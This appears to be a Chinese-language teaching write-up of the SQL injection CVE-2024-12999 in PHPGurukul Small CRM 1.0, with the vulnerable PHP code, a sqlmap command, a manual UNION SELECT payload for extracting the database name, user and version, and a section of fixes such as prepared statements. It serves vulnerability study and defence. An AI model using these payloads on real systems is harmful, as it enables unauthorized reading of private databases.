PHPGurukul Small CRM 1.0 sql注入漏洞分析(CVE-2024-12999)
字数 888 2025-08-22 12:22:54

PHPGurukul Small CRM 1.0 SQL注入漏洞分析(CVE-2024-12999)教学文档

漏洞概述

PHPGurukul Small CRM 1.0版本中存在一个SQL注入漏洞(CVE-2024-12999),该漏洞位于/admin/edit-user.php文件的id参数处,由于未对用户输入进行充分过滤和验证,导致攻击者可以构造恶意SQL语句获取数据库敏感信息。

漏洞位置

  • 漏洞文件: /admin/edit-user.php
  • 漏洞参数: id (GET参数)

漏洞复现(黑盒测试)

1. 识别漏洞点

  1. 访问用户编辑页面,观察URL地址
  2. 确认URL中包含/admin/edit-user.phpid参数
    • 示例URL: http://test.com/admin/edit-user.php?id=1

2. 使用sqlmap进行测试

sqlmap -u "http://test.com/admin/edit-user.php?id=1" --cookie "PHPSESSID=v2el2qa0pgch2i5lv639u5dogq"

漏洞分析(白盒分析)

1. 代码分析

  1. 直接获取用户输入的id参数:
    $userid = $_GET['id'];
    
  2. 在67行左右发现使用id参数拼接的SQL语句:
    $sql = "select * from user where id = '$userid'";
    

2. SQL注入原理

  • 原始SQL语句结构:
    select * from user where id = 'xxxxxx'
    
  • 这是一个字符串类型的注入,需要通过单引号(')闭合

手工注入技术

1. 构造Payload

  1. 使用union select构造注入语句
  2. 已知user表有10个字段
  3. 数据回显的字段是name字段

2. 获取数据库名

构造Payload:

a' union select 'id',database(),'email','alt_email','password','mobile','gender','address','status','posting_date

3. 获取其他信息

通过修改union select后的字段,可以获取不同信息:

  • 替换database()user()获取当前用户
  • 替换为version()获取数据库版本
  • 替换为表名查询其他表数据

防御建议

  1. 使用预处理语句(PDO或mysqli)

    $stmt = $conn->prepare("select * from user where id = ?");
    $stmt->bind_param("s", $userid);
    $stmt->execute();
    
  2. 输入验证和过滤

    if(!is_numeric($userid)) {
        die("Invalid user ID");
    }
    
  3. 最小权限原则

    • 数据库连接使用最小必要权限账户
  4. 错误处理

    • 禁止显示数据库错误信息
  5. 更新到最新版本

    • 检查官方是否有补丁发布

总结

该漏洞展示了典型的SQL注入案例,通过未过滤的用户输入直接拼接SQL语句,导致攻击者可以执行任意SQL命令。开发人员应始终使用参数化查询,并对所有用户输入进行严格验证。

PHPGurukul Small CRM 1.0 SQL注入漏洞分析(CVE-2024-12999)教学文档 漏洞概述 PHPGurukul Small CRM 1.0版本中存在一个SQL注入漏洞(CVE-2024-12999),该漏洞位于 /admin/edit-user.php 文件的 id 参数处,由于未对用户输入进行充分过滤和验证,导致攻击者可以构造恶意SQL语句获取数据库敏感信息。 漏洞位置 漏洞文件: /admin/edit-user.php 漏洞参数: id (GET参数) 漏洞复现(黑盒测试) 1. 识别漏洞点 访问用户编辑页面,观察URL地址 确认URL中包含 /admin/edit-user.php 和 id 参数 示例URL: http://test.com/admin/edit-user.php?id=1 2. 使用sqlmap进行测试 漏洞分析(白盒分析) 1. 代码分析 直接获取用户输入的 id 参数: 在67行左右发现使用 id 参数拼接的SQL语句: 2. SQL注入原理 原始SQL语句结构: 这是一个字符串类型的注入,需要通过单引号( ' )闭合 手工注入技术 1. 构造Payload 使用 union select 构造注入语句 已知 user 表有10个字段 数据回显的字段是 name 字段 2. 获取数据库名 构造Payload: 3. 获取其他信息 通过修改 union select 后的字段,可以获取不同信息: 替换 database() 为 user() 获取当前用户 替换为 version() 获取数据库版本 替换为表名查询其他表数据 防御建议 使用预处理语句(PDO或mysqli) 输入验证和过滤 最小权限原则 数据库连接使用最小必要权限账户 错误处理 禁止显示数据库错误信息 更新到最新版本 检查官方是否有补丁发布 总结 该漏洞展示了典型的SQL注入案例,通过未过滤的用户输入直接拼接SQL语句,导致攻击者可以执行任意SQL命令。开发人员应始终使用参数化查询,并对所有用户输入进行严格验证。